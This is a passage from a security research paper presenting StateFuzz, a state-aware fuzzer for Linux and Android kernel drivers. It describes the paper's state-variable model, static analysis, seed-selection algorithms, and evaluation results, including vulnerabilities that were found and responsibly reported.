Linux Kernel rsclp->flags int
nfs-ganesha sigusr1_triggered int

curl conn->bits.do_more bool
OpenSMTPD s->state enum

openssl st->state enum
httpd session->state enum

3 Our Solution: StateFuzz

To address the limitation of code coverage guided fuzzers,
we propose a state-aware fuzzing solution StateFuzz for
system call-based Linux driver fuzzing. In this section, we
will present the design details of this solution.

3.1 Modeling of Program State

State-variable. We summarize the characteristics of vari-
ables used to represent program states as follows: First, these
variables have a long lifetime that can span different program
states to record state information. Second, they can be up-
dated (i.e., state transition) by users. Third, since the program
state always controls the program’s behavior, these variables
should be able to affect (directly or indirectly) the program’s
control flow or memory access pointers. We denote these
variables as state-variables.
Program State. Since every state-variables could hold criti-
cal program state information, a program state ideally should
contain combinations of all state-variables’ values. However,
the number of such combinations is too large, and it is imprac-
tical to track such states. We thus try to reduce the number of
combinations with two optimizations.

First, we only consider relevant state-variable pairs in a pro-
gram state, inspired by the fact that coverage-guided fuzzers
in general only track edge coverage (i.e., combinations of
two relevant blocks) rather than path coverage (i.e., combi-
nations of all blocks). We conduct experiments to support
this intuition, as described in Appendix A.1. We mark two
state-variables as relevant if there are control flows or mem-
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ory access pointers that are affected (directly or indirectly) by
both of these two variables. For example, if two variables are
checked by two conditional statements respectively, and these
two conditional statements are nested, they are relevant.

Second, each state-variable’s value space is large (e.g., 232

for a 32-bit variable), but it only takes a limited number of
values (or value ranges). Thus we propose to divide the state-
variable’s value space into several value ranges and track
whether each value range is hit during fuzzing.

Instead of tracking their values, we track value-range com-
binations of two variables for every relevant state-variable
pair during the fuzzing process. We denote such value-range
combinations as a value-range edge. Furthermore, we also
track extremum values of state-variables as a complement to
value-range tracking. We deem that we discover new program
states if we discover new value-range edges or new extremum
values of state-variables.

3.2 Overview

Figure 1 illustrates the overview workflow of StateFuzz.
It includes three major phases: program state recognition,
program instrumentation, and the fuzzing loop.

Program state recognition. We first analyze the source
code of Linux drivers to recognize program states by ex-
tracting state-variables, value choices of state-variables, and
the relevance between state-variables. Specifically, we uti-
lize static analysis to recognize program actions triggered
by different stages of inputs and identify shared variables
accessed by multiple program actions. To make tracking state-
variables practical, we further analyze their value (or value
range) choices. Then we utilize static symbolic execution to
collect the value constraints of each state-variable, and infer
its disjoint value-ranges.

Program instrumentation. We instrument the target pro-
gram (i.e., Linux drivers) to track the program state coverage,
along with code coverage (e.g., provided by KCOV [28]).
Specifically, given the identified state-variables, we first per-
form alias analysis with SVF [44] to recognize the alias of
state-variables. Then during compilation, StateFuzz checks
the destination pointer of each store instruction. If the desti-
nation pointer points to a state-variable or a state-variable’s
alias, the instruction is instrumented to keep track of the value
to store. More precisely, it will track value-range edges and
extremum values to yield program state coverage feedback.

Fuzzing Loop. We extend the fuzzing loop of code
coverage-guided fuzzers by applying the program state feed-
back to the process of seed input preservation and seed selec-
tion. Specifically, we will preserve inputs that discover new
value-range edges or new extreme values of a state-variable,
along with inputs that find new code. We then apply a delicate
selection strategy to select inputs for mutation from these dif-
ferent types of preserved seeds. More details will be described
in Section 3.4.

6. int hpet_ioctl(..., cmd, arg) {
7.    switch (cmd) {

14.        …

19.        ...
20.     }
21. }

1. int hpet_open(...) {
2.     ...
3.     devp->hd_hdwirq = gsi;
4.     ...
5. }

devp->hd_hdwirq

devp->hd_ireqfreq

state 
variables

LOADED

UPDATED

UPDATED

LOADEDioctl(fd, HPET_IRQFREQ, ...);

8.      case HPET_IE_ON:
9.          if (!devp->hd_ireqfreq)
10.        ...
11.        if (devp->hd_hdwirq)
12.        ...
13.        break;

15.     case HPET_IRQFREQ:
16.        ...
17.        devp->hd_ireqfreq = arg;
18.        break;

ioctl(fd, HPET_IE_ON, …);

fd = open("/dev/hpet", …);

Action 1

Action 2

Action 3

Figure 2: Example of state-variables in the hpet driver.

3.3 Program State Recognition

As the core of StateFuzz, it takes program states into consid-
eration in addition to code coverage feedback. In this section,
we will detail how to recognize program states.

Recognize Program Actions. Rich-state programs, e.g.,
drivers, usually require multiple or multi-stage inputs. Each
stage of input will trigger specific program actions. For Linux
device drivers, program actions are handler functions that can
be invoked via system calls.

Figure 2 illustrates several example program actions, which
are taken from the hpet driver’s code. First, many program
actions are initialized in global operation structures. For in-
stance, the hpet_open and hpet_read handlers initialized in
the global operation structure hpet_fops represent the open
and read actions, which can be triggered by certain inputs. Sec-
ond, the driver may take program actions via subcommands
of the ioctl interface. For example, statements from line 8
to line 13 represent one specific program action, which could
be triggered by user input of the command HPET_IE_ON.

Based on these conventions of Linux driver code, we utilize
static analysis to recognize program actions. For system calls
including read, write, open, poll and mmap, we analyze their
source code to locate initializers that assign function han-
dlers to global operation structures. These assigned function
handlers are entry points of program actions. For the ioctl
system call, we extend the tool DIFUZE [14] to perform an
inter-procedural and path-sensitive analysis and recognize all
supported sub-commands. The code snippet associated with
each sub-command is a program action.

Recognize State-variables. Different program actions
sometimes have to coordinate program states via state-
variables. Thus state-variables are usually shared by multiple
program actions. For example, the state-variables related to
the login state are supposed to be shared by login request and
logout request. To recognize the state-variables, we analyze
the code of every program action based on a call graph and
recognize the accessed variables. If the variables can be back-
tracked to global variables or fields of structures, then we will
mark them as candidate state-variables since state-variables
are supposed to have a long lifetime. After analyzing all pro-
gram actions, we will filter all candidate state-variables. We
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only keep candidate state-variables that will be updated by
one program action and loaded by another program action
(i.e., variables will be discarded if not read by any actions
or not written by any actions). For instance, the variables
devp->hd_ireqfreq and devp->hd_hdwirq in Figure 2 are
both recognized as state-variables.

Infer State-variables’ Value Ranges. To infer the value
ranges of each state-variable, we perform an inter-procedural
and path-sensitive static symbolic execution on the abstract
syntax tree (AST) of the source code. To avoid path explo-
sion, it is notable that our symbolic execution analyzes only
a single source code file at a time (i.e., intra-module analy-
sis), which greatly reduces the number of paths. We could
locate state-variables in the AST by their type and names.
Then we explore each program path and recognize path con-
straints related to state-variables during the exploration. We
then identify two state-variables relevant if there is a path
whose constraints involve both of them. By consulting with
constraint solvers, we could infer critical values of the state-
variable, which would change the value of path constraint. We
then use these critical values as boundaries to split the value
space of the state-variable.

For example, in the driver code shown in Figure 2, the
state-variables devp->hd_ireqfreq and devp->hd_hdwirq
are checked against 0 in the Line 9 and Line 11 respectively.
The conditional statement in Line 9 leads to two branches,
and the extracted constraints of these two branches are
devp->hd_ireqfreq!=0 (i.e., devp->hd_ireqfreq<=-1
or devp->hd_ireqfreq>=1) and devp->hd_ireqfreq==0.
Therefore, we can get three boundary values: -1, 0, and 1.
We thus divide the value space of devp->hd_ireqfreq into
4 value ranges with these 3 numbers, i.e., [INT_MIN,-1],(-
1,0],(0,1],(1,INT_MAX]. The case in Line 11 is similar.

3.4 Fuzzing Loop

After instrumenting the driver to track state changes, the
fuzzer enters the main fuzzing loop. StateFuzz adopts a ge-
netic algorithm to guide the fuzzer to explore more program
states, as AFL does to increase code coverage. Specifically,
StateFuzz preserves and prioritizes seeds that discover ei-
ther new code or new states. In this section, we introduce
how StateFuzz fine-tunes the evolutionary through a novel
3-dimension feedback mechanism, seed preservation strategy,
and selection strategy.

3.4.1 Three-dimension Feedback Mechanism

StateFuzz adopts a novel three-dimension feedback mecha-
nism to guide state exploration, consisting of the following
three dimensions.

Code coverage dimension. StateFuzz reuses the code
coverage feedback as existing fuzzers (e.g., Syzkaller), which
issues a feedback signal whenever a test case hits new code.

Algorithm 1 Seed Preservation Algorithm
Input: s, the test case to be processed
Output: T1, tier 1 of corpus to store seeds discover new code edges
Output: T2, tier 2 of corpus to store seeds discover new value-range edges
Output: T3, tier 3 of corpus to store seeds discover new extreme values

T1 = T3 = [ ], T2 = { }
coverage, cfgPathHash← execute(s)
if findNewCode(coverage) then

T1 ← T1 ∪ {s}
end if
if findNewValueRangeEdge(coverage) then

if cfgPathHash IN T2 then
T2[cfgPathHash]← T2[cfgPathHash] ∪ {s}

else
T2[cfgPathHash] = /0

T2[cfgPathHash]← T2[cfgPathHash] ∪ {s}
end if

end if
if findNewExtremum(coverage) then

T3 ← T3 ∪ {s}
T3 ← minimize(T3)

end if

This dimension of feedback enables the fuzzer to preserve
seeds that discover new code.

Value-range dimension. StateFuzz applies a novel
value-range dimension of feedback. If the input triggers a
new value-range edge, which means triggering a new state,
it issues a feedback signal. It enables the fuzzer to pre-
serve seeds that discover new program states, and enables
smart state-space exploration when working together with the
genetic algorithm. For example, in the driver code shown
in Figure 2, the state-variables devp->hd_ireqfreq and
devp->hd_hdwirq both have 4 value ranges, i.e., [INT_MIN,-
1],(-1,0],(0,1],(1,INT_MAX]. When devp->hd_ireqfreq
changes from 0 to 1, the value range shifts from (-1, 0] to (0, 1].
Thus, it will yield a new value-range of devp->hd_ireqfreq
and devp->hd_hdwirq.

Extreme value dimension. Note that sometimes we can-
not resolve the value ranges of certain state-variables, due to
missing constraints or unsolvable constraints. Besides, dis-
covering a new extremum value also means that the program
enters a new state. Thus, we provide another new feedback di-
mension that alternatively tracks state-variables’ extreme val-
ues. In detail, the fuzzer records the upper and lower bounds
of each state-variable in the testing history, and issues a feed-
back signal when a new test case sets a state-variable out of
its bounds. This dimension of feedback enables the fuzzer to
preserve test cases that trigger extreme values.

3.4.2 Seed Preservation and Selection Strategy

We design a three-tiered seed corpus to preserve seeds ac-
cording to the type of feedback signals each seed triggers.
With such a seed corpus, StateFuzz then periodically selects
seeds from different tiers to explore new code and new states.

Seed Preservation. Given the three different feedback
mechanisms, we thus provide a three-tiered seed corpus to
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Algorithm 2 Seed Selection Algorithm
Input: T1, tier 1 of corpus to store seeds discover new code edges
Input: T2, tier 2 of corpus to store seeds discover new value-range edges
Input: T3, tier 3 of corpus to store seeds discover new extreme values
Output: s, the selected seed

Pr = 3, Pc = 3 # predefined probability hyper-parameters
r = randInt(Pr*Pc) # generate a integer in [0, Pr*Pc) randomly
if r < Pr then

# with probability 1/Pc
s← T1[ randInt() % len(T1) ]

else if r < Pr+Pc then
# with probability 1/Pr
keys← getMapKeys(T2)
pathHash← keys[ randInt() % len(keys) ]
bucket← T2[pathHash]
s← bucket[ randInt() % len(bucket) ]

else
# with probability 1-1/Pr-1/Pc
s← T3[ randInt() % len(T3) ]

end if

store seeds that discover new code, new value-range edges,
and new extreme values, respectively. A seed can be stored
in multiple tiers if it triggers multiple feedbacks at the same
time. Sometimes, seeds that discover new value-range edges
but execute similar code may fill up the queue, preventing the
fuzzer from exploring other code. To reduce such locality, we
use seeds’ paths to cluster seeds and we schedule not only
seeds but also clusters (i.e., buckets) in the later seed selection
stage. Algorithm 1 demonstrates how StateFuzz preserves
seeds in detail. After executing a test case, StateFuzz checks
whether feedback signals are generated, and puts the test case
into different tiers according to the feedback signals. First, if
the test case finds new code, it is added to Tier-1 of the seed
corpus. Second, if the test case discovers new value-range
edges, StateFuzz adds the test case to a specific bucket in
Tier-2, which is indexed by the hash of executed basic blocks’
addresses. If the path of this test case is new to StateFuzz,
StateFuzz creates a new bucket in Tier-2 and stores this test
case, otherwise, it stores this test case in an existing bucket.
Third, if the test case discovers new extreme values, it will be
added to Tier-3 of the seed corpus. Then StateFuzz updates
the record of extreme values, and removes previous seeds that
discover out-of-date extreme values to minimize the corpus.
Due to our minimization mechanism, the number of seeds in
Tier-3 is not very large, and we do not need to use buckets to
cluster seeds.

Seed Selection. Given the preserved three-tiered seed cor-
pus, StateFuzz further applies a special seed selection strat-
egy to improve the fuzzing efficiency. Algorithm 2 shows
the detail of how StateFuzz selects seeds from the corpus.
Firstly, StateFuzz chooses a tier of the seed corpus, accord-
ing to the predefined probability hyper-parameters Pr and Pc.
Here we just let the three tiers of the corpus have the same
probability of being selected (i.e., Pr=3 and Pc=3), which is
a naive design (we discuss how to choose the values of Pr
and Pc in Appendix A.2). After tier selection, StateFuzz se-

Table 2: Implementation details of StateFuzz.

Component Tool Lines of Code

State Recognition DIFUZE, CRIX, CSA #2,500 (C++)
Instrumentation LLVM Sancov, SVF #500 (C++)
Fuzzing Loop Syzkaller #3,800 (Go)
Glue scripts - #1,000 (Python)

Total #7,800

lects a seed from the chosen tier. If Tier-1 or Tier-3 is chosen,
StateFuzz randomly selects a seed from the tier for further
mutation. If Tier-2 is chosen, StateFuzz first randomly se-
lects a bucket from this tier, and then selects a random seed
from this bucket for further mutation. In this way, different
buckets may get an equal opportunity to be selected. It avoids
a local optimum case, where seeds from one larger bucket get
selected more frequently than other seeds. Since each bucket
represents one control flow path, this seed selection strategy
will ensure different paths are explored thoroughly. Further,
within each bucket, there could be multiple seeds triggering
different states. This seed selection strategy will try to explore
different states when this bucket is chosen.

4 Implementation

StateFuzz has three major components, including program
state recognition, program instrumentation, and the fuzzing
loop. It also has several glue scripts. Table 2 summarizes the
components and their statistics.

In the first component, StateFuzz uses a modified ver-
sion of DIFUZE [14] to identify drivers’ program actions.
Besides, it recognizes state-variables shared and accessed by
different program actions with an LLVM pass, in which the
two-layer type-based indirect call analysis from CRIX [13]
is utilized to build call graphs. It collects state-variable con-
straints and infers the value ranges of each state-variable via
intra-module static symbolic execution through Clang Static
Analyzer (CSA) [1].

In the second component, to trace state-variables more
precisely, StateFuzz utilizes the points-to analysis tool SVF
[44] to find alias of state-variables, and trace accesses to these
aliases too. We mark the state-variables with names (for global
variables that are not in structure type) or their types (for
fields of structures) rather than the specific pointers, which
is a conservative solution and requires no complex pointer
analysis. And we utilize SVF to find state-variables’ alias that
cannot be recognized by names or types, as a complement
to state-variables. All coverage and program state tracing
instructions are instrumented with LLVM SanCov.

To track states, StateFuzz instruments target programs to
trace values of state-variables. Given the state-variable list
generated in Section 3.3. During compilation, StateFuzz
instruments tracing code after each store instruction if its
destination pointer points to a state-variable or its alias. For
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operations that write to state-variables by calling memory
copy functions like copy_from_user and memcpy, we parse
the type of destination memory of such functions to check if
state-variables are involved in destination memory according
to types.

The third component is based on the existing kernel fuzzing
engine Syzkaller [27]. Similar to Syzkaller, StateFuzz uti-
lizes three dictionaries to store coverage for the three dimen-
sions. For the value-range dimension, we splice the state-
variable ID and the hit range ID as a value-range unit of a
state-variable. Then for the two variables in a relevant state-
variable pair, we compute the hash of their value-range units
(i.e., the hash of two units) to represent a value-range edge.
The dictionary keys are value-range edges, and values are
the number of edges’ hit times. For the extremum dimension,
the dictionary keys are state-variable IDs and the dictionary
values are their extremums.

5 Evaluation
To demonstrate the effectiveness of StateFuzz, we first eval-
uate the variable-based state model. Then, we evaluate both
code coverage and state coverage of StateFuzz. Last and
most importantly, we evaluate StateFuzz’s capability of dis-
covering new vulnerabilities. We compare StateFuzz with
two state-of-the-art system call-based Linux kernel fuzzers:
Syzkaller and HFL [29]. HFL is a hybrid kernel fuzzer that
infers dependencies between system calls through symbolic
execution and performs very well in fuzzing the Linux driver
subsystem.

In summary, we aim to answer the following questions:

• RQ1: Are the state representation expressive and meaning-
ful? Is there any state explosion issue? (Section 5.2)

• RQ2: Can StateFuzz explore more states than existing
approaches? (Section 5.3)

• RQ3: Can StateFuzz achieve higher code coverage than
other existing approaches? (Section 5.4)

• RQ4: Can StateFuzz discover vulnerabilities in Linux
drivers? (Section 5.5)

• RQ5: How do different feedback dimensions affect
StateFuzz’s performance? (Section 5.6)

5.1 Fuzzing Evaluation Setup

We conduct fuzzing experiments for Linux drivers in two
environments: Linux upstream kernel v4.19 on qemu-system-
x86_64, and Qualcomm MSM-4.14 kernel on a Pixel-4, an
Android phone from Google.

In the first experiment (i.e., kernel v4.19), we test the kernel
running in QEMU on a server machine with 2 Intel Xeon CPU
E5-2695 v4 (2.10GHz) and 384GB RAM running Ubuntu
16.04 LTS. For Syzkaller and StateFuzz, we assign each
of them 8 VMs with two vCPUs per VM (i.e., 16 vCPUs
assigned). For HFL, for a fair comparison, it is assigned with

4 VMS with two vCPUs per VM (i.e., 8 vCPUs assigned) and
8 additional vCPUs for symbolic execution.

In the second experiment (i.e., MSM-4.14 kernel), we test
the MSM-4.14 kernel in a Pixel-4 phone rather than QEMU.
Many device drivers in MSM-4.14 rely on real phone periph-
erals that QEMU cannot emulate, preventing the MSM kernel
from booting on QEMU. As a result, HFL cannot be applied
to the MSM kernel, because its symbolic engine S2E [10]
relies on QEMU to perform dynamic binary translation. In-
stead, we conduct the phone fuzzing as follows: (1) build
and flash images for the phone as instructed by the Android
debug documentation5, (2) generate and execute test cases
(i.e., running syz-fuzzer and syz-executor) on the phone,
and (3) monitor the fuzzer (i.e., running syz-manager) on a
PC machine which is connected to the phone via USB debug-
ging, as instructed by the Syzkaller documentation6. The PC
machine runs Ubuntu 18.04 LTS with an Intel Core i7-8700
CPU (3.20GHz) and 32GB RAM.

In both environments, we utilize LLVM to compile the
kernel with KCOV and KCOV_ENABLE_COMPARISONS
enabled to collect code coverage, etc. We also enable KASAN
to detect bugs. All fuzzers involved in experiments apply the
same system call templates generated by DIFUZE, and only
system calls extracted by DIFUZE are enabled for fuzzing.
To distinguish from the original version of Syzkaller and
HFL, we use Syzkaller-D and HFL-D to refer to the origi-
nal Syzkaller applying DIFUZE system call templates and
the original HFL applying DIFUZE system call templates,
respectively. All the fuzzers involved in experiments are run
with empty initial seeds. To better demonstrate the perfor-
mance of fuzzers and get convergence results, we enlarge the
fuzzing time budgets. We fuzz the Linux upstream kernel
for 48 hours and fuzz the MSM kernel for 72 hours (since
the pixel-4 device has lower computing power, we give it a
bigger budget). All fuzzing time budgets do not include time
spent on the state model building. To reduce bias, we repeat
all experiments three times.

5.2 State Model Evaluation (RQ1)

Time cost. We conduct a pre-analysis in the aforemen-
tioned PC machine to build the state model. On average, the
pre-analysis phase of StateFuzz takes 15 hours. In detail,
state-variable recognition costs 6 hours, pointer analysis with
SVF takes 2 hours, and collecting constraints by static sym-
bolic execution costs 7 hours. We conduct intra-module sym-
bolic execution (via Clang Static Analyzer) on each source
code file for at most 1 hour. In our experiments, 43 out of
1401 files in the MSM kernel driver subsystem trigger time-
out, and 117 out of 2776 files in the Linux-4.19 kernel driver
subsystem trigger timeout. Note that, for a kernel under test,

5https://source.android.com/devices/tech/debug/kasan-kcov
6https://github.com/google/syzkaller/blob/master/docs/linux/setup_linux-

host_android-device_arm-kernel.md
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Table 3: Statistics of state-variables and their value ranges, as well as relevant state pairs.

Kernel # Program Actions # State-variables # Relevant Pairs # Value Ranges
Total Avg. Max

Linux-4.19 840 6055 25778 18921 3.12 157
MSM-4.14 1330 5037 18743 13332 2.65 193

Table 4: State-variable classification according to variable names. The result shows that about half of state-variables found
by StateFuzz are classified successfully. In Linux upstream kernel v4.19, we extract 2,299 variable names and successfully
category 48% among them. Specifically, of all variables, we find 4.3% in "explicit state", 14.6% in "mode" or "flag", 7.4%
in "boolean", 16.8% in "size", and 4.9% in "index". The remaining 52% of variables are in the "to be determined" category.
Similarly, we successfully extract 1,857 variable names in the MSM-4.14 kernel. Among these variables, we identify their
categories by name for 51% of state-variables. It is interesting that the results of MSM-4.14 kernel are very close to that of Linux
kernel v4.19, although MSM-4.14 kernel contains more customized Android drivers.

Kernel Category Amount Percentage Keywords in variables’ names Example

Linux-4.19

explicit state 100 4.3% state, status tnc_state
mode 146 6.4% mode, type sel_mode
flag 190 8.3% flag, mask c_cflag
size 387 16.8% len, size, cnt, count, num io_lock_cnt

index 113 4.9% index, idx, pos, offset, /^.*id/$ done_idx
boolean 170 7.4% done, /^.*ed/$, /^.*ing/$, /^.*able/$, /^is_.*/$ pie_enabled

to be determined 1193 51.9% - cmd_opcode, height

MSM-4.14

explicit state 100 5.4% state, status r_state_current
mode 113 6.1% mode, type el2_mode
flag 119 6.4% flag, mask logging_mask
size 353 19.0% len, size, cnt, count, num client_count

index 97 5.2% index, idx, pos, offset, /^.*id/$ table_index
boolean 173 9.3% done, /^.*ed/$, /^.*ing/$, /^.*able/$, /^is_.*/$ is_mapped, is_complete

to be determined 902 48.6% - hdr_hdl, dirty

the pre-analysis only introduces a one-time cost, having a neg-
ligible impact on the fuzzing process, as discussed in §7.1.

State-related Statistics. For the Linux kernel v4.19,
StateFuzz extracts 840 program actions, shown in Ta-
ble 3. After discarding pointer type variables, StateFuzz
identifies 6,055 state-variables and 18,921 ranges. Each
state-variable is split into 3 ranges on average. Variable
sk_buff.len has the maximum number (i.e., 157) of ranges,
which stores the length of a socket’s data buffer and is widely
used in network communications. Followed the method in
Section 3.3, StateFuzz recognizes 25,778 relevant state-
variable-pairs. Thus, on average, one state-variable may
have about 4 relevant state-variables. For the MSM-4.14
kernel, 1330 program actions are identified by DIFUZE.
StateFuzz finds 5,037 state-variables, 18,743 value ranges
and 18,743 ordered relevant state-variable pairs. The vari-
able diag_md_session_t.peripheral_mask has the most
ranges, 193.

As the result shows, one state-variable has no more than
4 relevant state-variables on average. Although StateFuzz
tracks value-range combinations of two variables for every
relevant state-variable pair, the number of combinations is
acceptable, i.e., 25,778 and 18,743, respectively. Further, on
average, each state-variable has less than 4 (i.e., 3.12 or 2.65
respectively) value ranges. Therefore, there are less than 16

choices for each element in the program state bitmap on aver-
age. As a result, it will not cause the state explosion issue.

Semantics of state-variables. We classify the extracted
state-variables by investigating the semantics of their names.
Empirically, those variables are divided into 6 categories,
which are "explicit state", "mode", "flag", "size", "index", and
"boolean". First, "explicit state" contains variables with ex-
plicit words "state" in their names. Second, variables in the
"mode" and "flags" categories are usually utilized to control
the behaviors of the program. Third, variables in the "size"
and "index" categories are often used to save the state of a
shared queue or buffer. As for "boolean", those variables are
often named using past tense or progressive tense of verbs to
represent program states.Variables from each category contain
specific keywords in their names.

We modify the Clang static analyzer to extract state-
variable names from declaration statements in the AST. Then
we check if those variable names contain any keywords and
split them into the categories mentioned above. In detail, the
keywords used are shown in Table 4. We check the variable
names using keywords in the list from top to bottom. Table
4 shows the classification result. The result shows that about
half of state-variables found by StateFuzz contain these key-
words.
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Table 5: Validation results of program action recognition and state-variable recognition. StateFuzz successfully recognizes 99%
of program actions and 90% of state-variables. Compared to the approach that checks whether their names contain state-related
keywords, StateFuzz can recognize 49% more state-variables.

Kernel Driver # Program Action # State-variable # State-variable
# Declared Variable(StateFuzz) (Keyword-match)

TP FP FN TP FP FN TP FP FN

1

Linux-4.19

OSS Sequencer 64 0 0 45 46 1 18 15 28 2673
2 PPP 26 1 0 29 44 9 25 48 13 6430
3 TUN 35 0 0 29 93 0 25 22 4 1700
4 UINPUT 24 0 2 15 24 1 9 2 7 388
5

MSM-4.14

Ashmem 15 0 0 8 30 1 6 4 3 173
6 IAxxx Cell 49 0 0 17 13 0 7 47 10 227
7 NPU 13 0 0 30 42 8 26 76 12 2528
8 SMCInvoke 6 0 0 24 7 4 16 10 12 332

Total 232 1 2 197 299 24 132 224 89 14421

False positives and false negatives. To evaluate the accu-
racy of our static analysis, we randomly select 4 drivers for
verification from Linux-4.19 and MSM-4.14, respectively.

Accuracy of program action recognition. We manually iden-
tify all program actions for these drivers to construct a ground
truth and then validate the program actions recognized by
StateFuzz. As shown in Table 5, among all 234 actions of
the 8 drivers, StateFuzz successfully recognizes 99% of ac-
tions with only 1 false positive and 2 false negatives. The
false positive is caused by DIFUZE treating a condition state-
ment as an ioctl command check. On the other hand, DIFUZE
misses two sub-commands when recognizing ioctl commands,
resulting in 2 false negatives.

Accuracy of state-variable recognition. We evaluate the
state-variables recognized by StateFuzz. Unfortunately, it
is not feasible to manually validate all variables and iden-
tify state-variables in these drivers, because there could be
thousands of variables declared in a driver (e.g., there are
2673 variables in the OSS sequencer driver according to
our AST analysis). Instead, we only collect the variables
whose names contain the keywords mentioned above and
the candidate state-variables recognized by StateFuzz, and
manually verify these collected variables to construct an ap-
proximate ground truth. As a result, 659 variables are col-
lected, of which 303 are collected by StateFuzz, 163 by
the keyword-matching method, and 193 by both. We manu-
ally verify all of these 659 variables and identify 221 final
state-variables according to our definition of state-variables
in Section 3.1. StateFuzz successfully recognizes 197 state-
variables, accounting for 90% of the total, 49% more than the
keyword-matching method.

The false positives are introduced for three reasons: first,
a driver usually communicates with other parts of the kernel
(e.g., file system, network) by reading and writing variables
like inode.i_size declared outside the driver. StateFuzz
may wrongly mark these variables as state-variables though
they do not represent states of the driver. Second, since
StateFuzz traverses instructions and collects state-variables
based on the call graph, incorrect callees in the call graph

could lead to false positives. Third, some candidate state-
variables are only utilized for debugging, output, or sending
back to userspace. These state-variables do not affect the
control flow and data flow of the driver. Of the 299 false posi-
tives produced by StateFuzz, 141 are introduced by the first
reason, 13 by the second, and 145 by the third.

We have tried to mitigate false positives introduced by the
first reason. Specifically, we first try to recognize common
utility functions that are shared by different drivers and the
kernel, and then remove their instructions from the execu-
tion traces of program actions. As a result, variables only
accessed in common utility functions will not be marked as
state-variables. We heuristically mark functions that are called
by more than MAX_NUM functions as utility functions. To pre-
vent side effects like false negatives, we conservatively set the
heuristic threshold MAX_NUM to 300, since core driver func-
tions are unlikely to get called by more than 300 functions.

We also further investigate the impact of these false-
positive state-variables on StateFuzz’s fuzzing campaigns
for Linux-4.19 and MSM-4.14. We find that 54 (18%)
false-positive state-variables are never accessed throughout
a fuzzing campaign, so no fuzzing inputs are preserved in
StateFuzz’s corpus for these variables. Other 155 (52%)
variables have no inferred value ranges, so these variables can
not introduce fuzzing inputs to the corpus for discovering new
value-range edges. As a result, 209 of 299 (i.e., 70%) false
positives introduce a negligible impact on the fuzzing cam-
paigns. Overall, the effect of false positives in state-variable
recognition is acceptable in the fuzzing campaigns.

The main reason for false negatives are summarised as fol-
lows: First, when building LLVM bitcode files, related func-
tions are not linked if they are located in different modules,
resulting in lacking analysis of the load and store instructions
inside the functions. Second, the lack of target callees of in-
direct calls in the call graph can also lead to false negatives.
Third, the state-variables read or written through wrappers are
ignored by StateFuzz. For example, the atomic_inc func-
tion is often used to update reference counts. Note that, we
did not find false negatives introduced by our aforementioned
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Figure 3: CDF curve of X/(X+Y). X is the count of an indi-
vidual value range hit by StateFuzz, and Y is the count of
an individual value range hit by Syzkaller-D. For more than
80% of ranges, (X/X+Y) is greater than 1/2, meaning that
StateFuzz hits the range more frequently than Syzkaller-D.

Table 6: The number of value-range edges found by
StateFuzz and Syzkaller-D-col.

Kernel StateFuzz Syzkaller-D-col

Linux-4.19 27117 (132%) 20507 (100%)

utility function filtering strategy, showing the conservative
threshold for MAX_NUM is reasonable.

In summary, StateFuzz can recognize 99% of program ac-
tions and identify about 90% of state-variables, demonstrating
the effectiveness of our static analysis.

5.3 State Coverage Evaluation (RQ2)
To demonstrate the capability of StateFuzz at exploring pro-
gram states, we first compare it with a modified version of
Syzkaller-D, in which we only apply additional state-variable
tracking instrumentation to collect values of state-variables.
We note it as Syzkaller-D-col. We do not introduce any new
feedback mechanism in Syzkaller-D-col, and the instrumenta-
tion is only utilized for logging. We perform this experiment
on the Linux upstream kernel of the 4.19.113 version.

Hit Count of Value Ranges. We then collect hit times
of each individual value range for both StateFuzz and
Syzkaller-D-col. For better demonstration, we compute the ra-
tio of two fuzzers’ accessing times for every value range
R. Suppose R is accessed X times by StateFuzz and Y
times by Syzkaller-D-col. If X/(X+Y) > 0.5, it means that
StateFuzz accesses the range R more often than Syzkaller-
D-col. Therefore, we sort values of X/(X+Y) for all state-
variable ranges. The result can be presented with a cumulative
distribution function (CDF) curve in Figure 3. It shows that,
more than 80% of ranges’ ratio exceeds 0.5, which means
that StateFuzz accesses more times than Syzkaller-D-col
for 80% of ranges. Besides, about 20% of ranges’ ratio is
greater than 0.9, which shows that StateFuzz accesses these
ranges 9 times more than Syzkaller-D-col. The result shows
that StateFuzz can explore states that are rarely accessed.

Hit Count of Value-range Edges. Table 6 shows the num-
ber of distinct value-range edges found by StateFuzz and
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Figure 4: Code coverage. The first 20,000 code edges are
hidden, as all the fuzzers discover them in 10 minutes.

Syzkaller-D-col. In the Linux upstream 4.19 kernel, Syzkaller-
D-col discovers 20,701 value-range edges while StateFuzz
discovers 27,117 value-range edges, 32% more than Syzkaller-
D-col. As shown above, StateFuzz can explore not only
value ranges that are rarely accessed but also more value-
range edges, which means StateFuzz can explore more states
with the guidance of our state model.

5.4 Code Coverage Evaluation (RQ3)
To verify whether StateFuzz is capable of exploring more
code in the same time budget, we compare it with HFL and
Syzkaller. This experiment is performed in both Linux kernel
v4.19 and MSM-4.14 kernel. Since HFL does not support
fuzzing real Android devices, we only use HFL-D to fuzz the
Linux upstream kernel with QEMU.

As Figure 4 shows, our approach StateFuzz shows an ad-
vantage of code edge coverage. In Linux-4.19, StateFuzz dis-
covers 19% more code edges than Syzkaller-D and 15% more
code edges than HFL-D, while in MSM-4.14 StateFuzz dis-
covers 7% more code edges than Syzkaller-D. The result
shows that StateFuzz can achieve higher code coverage than
the state-of-the-art kernel fuzzers in the same time budget.

5.5 Vulnerability Discovery Evaluation (RQ4)
We intermittently fuzzed the Linux-4.19 kernel and the MSM-
4.14 kernel with StateFuzz over two months. In summary, a
total of 20 vulnerabilities are found by StateFuzz, of which
7 are found in Linux-4.19 and 13 are found in MSM-4.14. All
vulnerable drivers found in MSM-4.14 rely on Qualcomm
SoCs or specific peripherals of Google Pixel phones, and their
code is not included in the Linux upstream kernel. We re-
ported all of these 20 vulnerabilities to developers, and 19 of
them are confirmed. Table 7 shows the vulnerabilities found
by StateFuzz. For security concerns, we hide function names
and file names for vulnerabilities that are not fixed yet. Among
the 19 confirmed vulnerabilities, 14 are assigned CVE IDs, 3
are in a pending state, and the other 2 have been discovered
by developers internally7. Specifically, 9 confirmed vulnera-
bilities have been assigned bug bounty rewards by Google or
Qualcomm.

7But patches have not been applied to the latest open-source code when
we submitted reports.
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Figure 5: The number of vulnerabilities discovered in 3
fuzzing campaigns for the Linux upstream kernel and the
MSM kernel (HFL-D is only used in the Linux kernel fuzzing
campaign).

To further demonstrate StateFuzz’s efficiency of vulnera-
bility discovery, we use Syzkaller-D, HFL-D, and StateFuzz
to fuzz our targets, and compare the number of vulnerabil-
ities discovered by the three fuzzers. Since HFL does not
support fuzzing real Android devices, we only use HFL-D for
Linux-4.19. We repeat each fuzzing campaign three times and
